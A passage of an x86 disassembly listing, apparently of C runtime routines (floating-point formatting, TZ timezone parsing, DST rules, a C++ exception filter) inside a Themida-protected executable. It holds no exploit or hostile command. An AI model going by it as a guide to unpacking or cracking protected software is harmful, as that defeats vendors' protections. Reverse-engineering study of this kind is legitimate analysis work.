loc_420547:				; CODE XREF: sub_4204E2+E4j
		push	2


loc_420549:				; CODE XREF: sub_4204E2+110j
		pop	eax
		jmp	loc_420610
; ---------------------------------------------------------------------------


loc_42054F:				; CODE XREF: sub_4204E2+45j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_18]
		push	eax
		call	sub_420413
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		add	esp, 10h
		test	eax, eax
		jz	short loc_420570
		inc	ebx


loc_420570:				; CODE XREF: sub_4204E2+8Bj
		mov	eax, [edi+4]
		mov	ecx, eax
		sub	ecx, [edi+8]
		cmp	ebx, ecx
		jge	short loc_420588
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		pop	ecx
		jmp	short loc_4205C4
; ---------------------------------------------------------------------------


loc_420588:				; CODE XREF: sub_4204E2+98j
		cmp	ebx, eax
		jg	short loc_4205CB
		sub	eax, ebx
		mov	esi, eax
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420413
		lea	eax, [ebp+var_C]
		push	esi
		push	eax
		call	sub_420455
		push	dword ptr [edi+8]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420387
		mov	eax, [edi+0Ch]
		inc	eax
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		add	esp, 20h


loc_4205C4:				; CODE XREF: sub_4204E2+A4j
		xor	esi, esi
		jmp	loc_420547
; ---------------------------------------------------------------------------


loc_4205CB:				; CODE XREF: sub_4204E2+A8j
		cmp	ebx, [edi]
		jl	short loc_4205F7
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42042E
		push	dword ptr [edi+0Ch]
		or	byte ptr [ebp+var_C+3],	80h
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420455
		mov	esi, [edi+14h]
		add	esp, 0Ch
		add	esi, [edi]
		push	1
		jmp	loc_420549
; ---------------------------------------------------------------------------


loc_4205F7:				; CODE XREF: sub_4204E2+EBj
		push	dword ptr [edi+0Ch]
		mov	esi, [edi+14h]
		and	byte ptr [ebp+var_C+3],	7Fh
		lea	eax, [ebp+var_C]
		push	eax
		add	esi, ebx
		call	sub_420455
		pop	ecx
		pop	ecx


loc_42060E:				; CODE XREF: sub_4204E2+55j
		xor	eax, eax


loc_420610:				; CODE XREF: sub_4204E2+68j
		push	1Fh
		pop	ecx
		sub	ecx, [edi+0Ch]
		mov	edi, [edi+10h]
		shl	esi, cl
		mov	ecx, [ebp+arg_0]
		neg	ecx
		sbb	ecx, ecx
		and	ecx, 80000000h
		or	esi, ecx
		or	esi, [ebp+var_C]
		cmp	edi, 40h
		jnz	short loc_42063F
		mov	ecx, [ebp+arg_4]
		mov	edx, [ebp+var_8]
		mov	[ecx+4], esi
		mov	[ecx], edx
		jmp	short loc_420649
; ---------------------------------------------------------------------------


loc_42063F:				; CODE XREF: sub_4204E2+14Ej
		cmp	edi, 20h
		jnz	short loc_420649
		mov	ecx, [ebp+arg_4]
		mov	[ecx], esi


loc_420649:				; CODE XREF: sub_4204E2+15Bj
					; sub_4204E2+160j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4204E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_42064E	proc near		; CODE XREF: sub_42067A+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF40
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_42064E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420664	proc near		; CODE XREF: sub_4206A7+23p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	offset dword_43BF58
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_4204E2
		add	esp, 0Ch
		retn
sub_420664	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42067A	proc near		; CODE XREF: sub_41C92F+12p

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_42064E
		add	esp, 24h
		leave
		retn
sub_42067A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206A7	proc near		; CODE XREF: sub_41C92F+2Dp

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	eax
		push	[ebp+arg_4]
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4214D8
		push	[ebp+arg_0]
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_420664
		add	esp, 24h
		leave
		retn
sub_4206A7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4206D4	proc near		; CODE XREF: sub_41C96D+65p
					; sub_41CA71+63p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_8]
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_420711
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx


loc_4206F7:				; CODE XREF: sub_4206D4+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_420703
		movsx	edx, dl
		inc	ecx
		jmp	short loc_420706
; ---------------------------------------------------------------------------


loc_420703:				; CODE XREF: sub_4206D4+27j
		push	30h
		pop	edx


loc_420706:				; CODE XREF: sub_4206D4+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_4206F7
		mov	edx, [ebp+arg_8]


loc_420711:				; CODE XREF: sub_4206D4+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_42072A
		cmp	byte ptr [ecx],	35h
		jl	short loc_42072A


loc_42071D:				; CODE XREF: sub_4206D4+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_420728
		mov	byte ptr [eax],	30h
		jmp	short loc_42071D
; ---------------------------------------------------------------------------


loc_420728:				; CODE XREF: sub_4206D4+4Dj
		inc	byte ptr [eax]


loc_42072A:				; CODE XREF: sub_4206D4+42j
					; sub_4206D4+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_420734
		inc	dword ptr [edx+4]
		jmp	short loc_420746
; ---------------------------------------------------------------------------


loc_420734:				; CODE XREF: sub_4206D4+59j
		push	edi
		call	sub_417AB0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_4182C0
		add	esp, 10h


loc_420746:				; CODE XREF: sub_4206D4+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4206D4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42074B	proc near		; CODE XREF: sub_41C96D+3Fp
					; sub_41CA71+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_4207AF
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_48A1E8
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_4219A9
		mov	dword_48A210, eax
		add	esp, 18h
		movsx	eax, byte_48A1EA
		mov	dword_48A208, eax
		pop	edi
		movsx	eax, word_48A1E8
		mov	dword_48A20C, eax
		mov	dword_48A214, offset dword_48A1EC
		mov	eax, offset dword_48A208
		pop	esi
		leave
		retn
sub_42074B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4207AF	proc near		; CODE XREF: sub_42074B+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_4207FD
		cmp	ebx, edi
		jz	short loc_4207F6
		lea	edi, [ecx+3C00h]
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207F6:				; CODE XREF: sub_4207AF+3Dj
		mov	edi, 7FFFh
		jmp	short loc_42081E
; ---------------------------------------------------------------------------


loc_4207FD:				; CODE XREF: sub_4207AF+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_420815
		cmp	edx, ebx
		jnz	short loc_420815
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_420860
; ---------------------------------------------------------------------------


loc_420815:				; CODE XREF: sub_4207AF+52j
					; sub_4207AF+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx


loc_42081E:				; CODE XREF: sub_4207AF+45j
					; sub_4207AF+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx


loc_420836:				; CODE XREF: sub_4207AF+A6j
		test	ecx, esi
		jnz	short loc_420857
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_420836
; ---------------------------------------------------------------------------


loc_420857:				; CODE XREF: sub_4207AF+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx


loc_420860:				; CODE XREF: sub_4207AF+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4207AF	endp

; ---------------------------------------------------------------------------
		push	2
		call	sub_419CDA
		pop	ecx
		retn

; =============== S U B	R O U T	I N E =======================================



sub_42086E	proc near		; DATA XREF: ___:0043B918o
					; ___:0043C3E0o

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_420891
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_420891
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_420891
		jmp	sub_41D4FC
; ---------------------------------------------------------------------------


loc_420891:				; CODE XREF: sub_42086E+Dj
					; sub_42086E+13j ...
		mov	eax, dword_48A218
		test	eax, eax
		jz	short loc_4208AE
		push	eax
		call	sub_42090A
		test	eax, eax
		pop	ecx
		jz	short loc_4208AE
		push	esi
		call	dword_48A218
		jmp	short loc_4208B0
; ---------------------------------------------------------------------------


loc_4208AE:				; CODE XREF: sub_42086E+2Aj
					; sub_42086E+35j
		xor	eax, eax


loc_4208B0:				; CODE XREF: sub_42086E+3Ej
		pop	esi
		retn	4
sub_42086E	endp

; ---------------------------------------------------------------------------
dword_4208B4	dd 42086E68h, 0FC5DE800h, 0A3900218h, 48A218h, 1835FFC3h
					; DATA XREF: ___:00426024o
		dd 900048A2h, 18FC4AE8h
; ---------------------------------------------------------------------------
		add	al, bl

; =============== S U B	R O U T	I N E =======================================



sub_4208D2	proc near		; CODE XREF: sub_41CD45+6Bp
					; sub_41D256+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	near ptr 25B0000h
		nop
		test	eax, eax
		jz	short loc_4208EA
		xor	esi, esi


loc_4208EA:				; CODE XREF: sub_4208D2+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208D2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4208EE	proc near		; CODE XREF: sub_41D256+73p
					; sub_41D256+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		nop
		call	near ptr 283090Eh
		test	eax, eax
		jz	short loc_420906
		xor	esi, esi


loc_420906:				; CODE XREF: sub_4208EE+14j
		mov	eax, esi
		pop	esi
		retn
sub_4208EE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42090A	proc near		; CODE XREF: sub_41D256+15Bp
					; sub_42086E+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	near ptr 25A0B9Bh
		nop
		test	eax, eax
		jz	short loc_42091E
		xor	esi, esi


loc_42091E:				; CODE XREF: sub_42090A+10j
		mov	eax, esi
		pop	esi
		retn
sub_42090A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41D4FC


loc_420922:				; CODE XREF: sub_41D4FC:loc_41D54Dj
		push	0Ah
		call	sub_41F885
		push	16h
		call	sub_421C3C
		pop	ecx
		pop	ecx
		push	3
		call	sub_419AF6
; END OF FUNCTION CHUNK	FOR sub_41D4FC

; =============== S U B	R O U T	I N E =======================================



sub_420939	proc near		; CODE XREF: sub_41D609:loc_41D648p
		cmp	dword_48A2D8, 0
		jnz	short locret_42094D
		call	sub_42094E
		inc	dword_48A2D8

locret_42094D:				; CODE XREF: sub_420939+7j
		retn
sub_420939	endp


; =============== S U B	R O U T	I N E =======================================



sub_42094E	proc near		; CODE XREF: sub_420939+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_48A220, ebp


loc_420965:				; DATA XREF: Themida_:004F6C13o
		mov	dword_43C018, ebx
		mov	dword_43C008, ebx
		call	sub_421DAE
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_420A77
		push	offset dword_48A228
		call	near ptr 27E0000h
		nop
		cmp	eax, ebx
		jz	loc_420BA6
		mov	eax, dword_48A228
		mov	ecx, dword_48A27C
		imul	eax, 3Ch
		cmp	word_48A26E, bp
		push	1
		pop	edx
		mov	dword_43BF70, eax
		mov	dword_48A220, edx
		jz	short loc_4209C5
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_43BF70, eax


loc_4209C5:				; CODE XREF: sub_42094E+69j
		cmp	word_48A2C2, bp
		jz	short loc_4209E9
		mov	eax, dword_48A2D0
		cmp	eax, ebp
		jz	short loc_4209E9
		sub	eax, ecx
		mov	dword_43BF74, edx
		imul	eax, 3Ch
		mov	dword_43BF78, eax
		jmp	short loc_4209F5
; ---------------------------------------------------------------------------


loc_4209E9:				; CODE XREF: sub_42094E+7Ej
					; sub_42094E+87j
		mov	dword_43BF74, ebp
		mov	dword_43BF78, ebp


loc_4209F5:				; CODE XREF: sub_42094E+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_424150
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_43BFFC
		push	ebx
		push	offset dword_48A22C
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	short loc_420A32
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_420A32
		mov	eax, off_43BFFC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_420A3A
; ---------------------------------------------------------------------------


loc_420A32:				; CODE XREF: sub_42094E+D1j
					; sub_42094E+D7j
		mov	eax, off_43BFFC
		and	byte ptr [eax],	0


loc_420A3A:				; CODE XREF: sub_42094E+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_43C000
		push	ebx
		push	offset dword_48A280
		push	edi
		push	dword_48A0B8
		call	esi
		test	eax, eax
		jz	loc_420B9E
		cmp	[esp+14h+var_4], ebp
		jnz	loc_420B9E
		mov	eax, off_43C000
		and	byte ptr [eax+3Fh], 0
		jmp	loc_420BA6
; ---------------------------------------------------------------------------


loc_420A77:				; CODE XREF: sub_42094E+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_420BA6
		mov	eax, dword_48A2D4
		cmp	eax, ebp
		jz	short loc_420A9A
		push	eax
		push	esi
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_420BA6


loc_420A9A:				; CODE XREF: sub_42094E+139j
		push	dword_48A2D4
		call	sub_417C3B
		push	esi
		call	sub_417AB0
		inc	eax
		push	eax
		call	sub_417B89
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_48A2D4, eax
		jz	loc_420BA6
		push	esi
		push	eax
		call	sub_4179C0
		push	3
		push	esi
		push	off_43BFFC
		call	sub_418C10
		mov	eax, off_43BFFC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_420AEF
		push	1
		inc	esi
		pop	edi


loc_420AEF:				; CODE XREF: sub_42094E+19Bj
		push	esi
		call	sub_417794
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_43BF70, ecx


loc_420B06:				; CODE XREF: sub_42094E+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_420B14
		cmp	al, bl
		jl	short loc_420B17
		cmp	al, 39h
		jg	short loc_420B17


loc_420B14:				; CODE XREF: sub_42094E+1BCj
		inc	esi
		jmp	short loc_420B06
; ---------------------------------------------------------------------------


loc_420B17:				; CODE XREF: sub_42094E+1C0j
					; sub_42094E+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B35:				; CODE XREF: sub_42094E+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B42
		cmp	al, 39h
		jg	short loc_420B42
		inc	esi
		jmp	short loc_420B35
; ---------------------------------------------------------------------------


loc_420B42:				; CODE XREF: sub_42094E+1EBj
					; sub_42094E+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_420B6A
		inc	esi
		push	esi
		call	sub_417794
		pop	ecx
		mov	ecx, dword_43BF70
		add	ecx, eax
		mov	dword_43BF70, ecx


loc_420B5D:				; CODE XREF: sub_42094E+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_420B6A
		cmp	al, 39h
		jg	short loc_420B6A
		inc	esi
		jmp	short loc_420B5D
; ---------------------------------------------------------------------------


loc_420B6A:				; CODE XREF: sub_42094E+1CCj
					; sub_42094E+1F7j ...
		cmp	edi, ebp
		jz	short loc_420B76
		neg	ecx
		mov	dword_43BF70, ecx


loc_420B76:				; CODE XREF: sub_42094E+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_43BF74, eax
		jz	short loc_420B9E
		push	3
		push	esi
		push	off_43C000
		call	sub_418C10
		mov	eax, off_43C000
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_420BA6
; ---------------------------------------------------------------------------


loc_420B9E:				; CODE XREF: sub_42094E+10Bj
					; sub_42094E+115j ...
		mov	eax, off_43C000
		and	byte ptr [eax],	0


loc_420BA6:				; CODE XREF: sub_42094E+40j
					; sub_42094E+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42094E	endp


; =============== S U B	R O U T	I N E =======================================



sub_420BAC	proc near		; CODE XREF: sub_41D609+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_43BF74, edi
		jnz	short loc_420BC0


loc_420BB9:				; CODE XREF: sub_420BAC+148j
					; sub_420BAC+150j ...
		xor	eax, eax
		jmp	loc_420D0C
; ---------------------------------------------------------------------------


loc_420BC0:				; CODE XREF: sub_420BAC+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_43C008
		jnz	short loc_420BDE
		cmp	eax, dword_43C018
		jz	loc_420CE0


loc_420BDE:				; CODE XREF: sub_420BAC+24j
		cmp	dword_48A220, edi
		jz	loc_420CB6
		movzx	ecx, word_48A2CE
		push	ecx
		cmp	word_48A2C0, di
		movzx	ecx, word_48A2CC
		push	ecx
		movzx	ecx, word_48A2CA
		push	ecx
		movzx	ecx, word_48A2C8
		push	ecx
		jnz	short loc_420C30
		movzx	ecx, word_48A2C4
		push	edi
		push	ecx
		movzx	ecx, word_48A2C6
		push	ecx
		movzx	ecx, word_48A2C2
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_420C44
; ---------------------------------------------------------------------------


loc_420C30:				; CODE XREF: sub_420BAC+65j
		movzx	ecx, word_48A2C6
		push	ecx
		push	edi
		movzx	ecx, word_48A2C2
		push	edi
		push	ecx
		push	eax
		push	edi


loc_420C44:				; CODE XREF: sub_420BAC+82j
		push	ebx
		call	sub_420D58
		movzx	eax, word_48A27A
		add	esp, 2Ch
		cmp	word_48A26C, di
		push	eax
		movzx	eax, word_48A278
		push	eax
		movzx	eax, word_48A276
		push	eax
		movzx	eax, word_48A274
		push	eax
		jnz	short loc_420C9E
		movzx	eax, word_48A270
		push	edi
		push	eax
		movzx	eax, word_48A272
		push	eax
		movzx	eax, word_48A26E
		push	eax
		push	dword ptr [esi+14h]
		push	ebx


loc_420C93:				; CODE XREF: sub_420BAC+108j
		push	edi
		call	sub_420D58
		add	esp, 2Ch
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420C9E:				; CODE XREF: sub_420BAC+C8j
		movzx	eax, word_48A272
		push	eax
		push	edi
		movzx	eax, word_48A26E
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_420C93
; ---------------------------------------------------------------------------


loc_420CB6:				; CODE XREF: sub_420BAC+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_420D58
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_420D58
		add	esp, 58h


loc_420CE0:				; CODE XREF: sub_420BAC+2Cj
					; sub_420BAC+F0j
		mov	edx, dword_43C00C
		mov	eax, dword_43C01C
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_420D10
		cmp	ecx, edx
		jl	loc_420BB9
		cmp	ecx, eax
		jg	loc_420BB9
		cmp	ecx, edx
		jle	short loc_420D24
		cmp	ecx, eax
		jge	short loc_420D24


loc_420D0A:				; CODE XREF: sub_420BAC+166j
					; sub_420BAC+16Aj
		mov	eax, ebx


loc_420D0C:				; CODE XREF: sub_420BAC+Fj
					; sub_420BAC+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_420D10:				; CODE XREF: sub_420BAC+144j
		cmp	ecx, eax
		jl	short loc_420D0A
		cmp	ecx, edx
		jg	short loc_420D0A
		cmp	ecx, eax
		jle	short loc_420D24
		cmp	ecx, edx
		jl	loc_420BB9


loc_420D24:				; CODE XREF: sub_420BAC+158j
					; sub_420BAC+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_420D4B
		xor	ecx, ecx
		cmp	eax, dword_43C010
		setnl	cl


loc_420D47:				; CODE XREF: sub_420BAC+1AAj
		mov	eax, ecx
		jmp	short loc_420D0C
; ---------------------------------------------------------------------------


loc_420D4B:				; CODE XREF: sub_420BAC+18Ej
		xor	ecx, ecx
		cmp	eax, dword_43C020
		setl	cl
		jmp	short loc_420D47
sub_420BAC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420D58	proc near		; CODE XREF: sub_420BAC+99p
					; sub_420BAC+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_420DF3
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_420D83
		shl	esi, 2
		mov	eax, dword_43C020[esi]
		jmp	short loc_420D8C
; ---------------------------------------------------------------------------


loc_420D83:				; CODE XREF: sub_420D58+1Ej
		shl	esi, 2
		mov	eax, dword_43C054[esi]


loc_420D8C:				; CODE XREF: sub_420D58+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jg	short loc_420DC6
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_420DD0
; ---------------------------------------------------------------------------


loc_420DC6:				; CODE XREF: sub_420D58+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax


loc_420DD0:				; CODE XREF: sub_420D58+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_420E0E
		cmp	[ebp+arg_8], 0
		jnz	short loc_420DE4
		mov	esi, dword_43C024[esi]
		jmp	short loc_420DEA
; ---------------------------------------------------------------------------


loc_420DE4:				; CODE XREF: sub_420D58+82j
		mov	esi, dword_43C058[esi]


loc_420DEA:				; CODE XREF: sub_420D58+8Aj
		cmp	ecx, esi
		jle	short loc_420E0E
		sub	ecx, 7
		jmp	short loc_420E0E
; ---------------------------------------------------------------------------


loc_420DF3:				; CODE XREF: sub_420D58+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_420E04
		mov	ecx, dword_43C020[eax*4]
		jmp	short loc_420E0B
; ---------------------------------------------------------------------------


loc_420E04:				; CODE XREF: sub_420D58+A1j
		mov	ecx, dword_43C054[eax*4]


loc_420E0B:				; CODE XREF: sub_420D58+AAj
		add	ecx, [ebp+arg_18]


loc_420E0E:				; CODE XREF: sub_420D58+7Cj
					; sub_420D58+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_420E3F
		mov	eax, [ebp+arg_1C]
		mov	dword_43C00C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_43C008, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C010, eax
		jmp	short loc_420E94
; ---------------------------------------------------------------------------


loc_420E3F:				; CODE XREF: sub_420D58+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_43C01C, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_43BF78
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_43C020, eax
		jns	short loc_420E77
		add	eax, 5265C00h
		dec	ecx
		mov	dword_43C020, eax
		jmp	short loc_420E88
; ---------------------------------------------------------------------------


loc_420E77:				; CODE XREF: sub_420D58+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_420E8E
		sub	eax, edx
		inc	ecx
		mov	dword_43C020, eax


loc_420E88:				; CODE XREF: sub_420D58+11Dj
		mov	dword_43C01C, ecx


loc_420E8E:				; CODE XREF: sub_420D58+126j
		mov	dword_43C018, ebx


loc_420E94:				; CODE XREF: sub_420D58+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_420D58	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_420E98	proc near		; CODE XREF: sub_41D797+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_420EBB
		cmp	[ebp+arg_8], ebx
		jz	short loc_420EBB
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_420EC1
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_420EBB
		mov	[eax], bx


loc_420EBB:				; CODE XREF: sub_420E98+Cj
					; sub_420E98+11j ...
		xor	eax, eax


